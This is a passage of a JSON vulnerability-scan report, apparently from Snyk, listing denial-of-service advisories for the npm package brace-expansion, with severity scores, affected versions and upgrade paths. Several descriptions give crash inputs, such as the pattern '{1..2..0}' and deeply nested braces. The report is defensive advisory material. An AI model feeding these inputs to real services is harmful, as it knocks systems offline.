"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
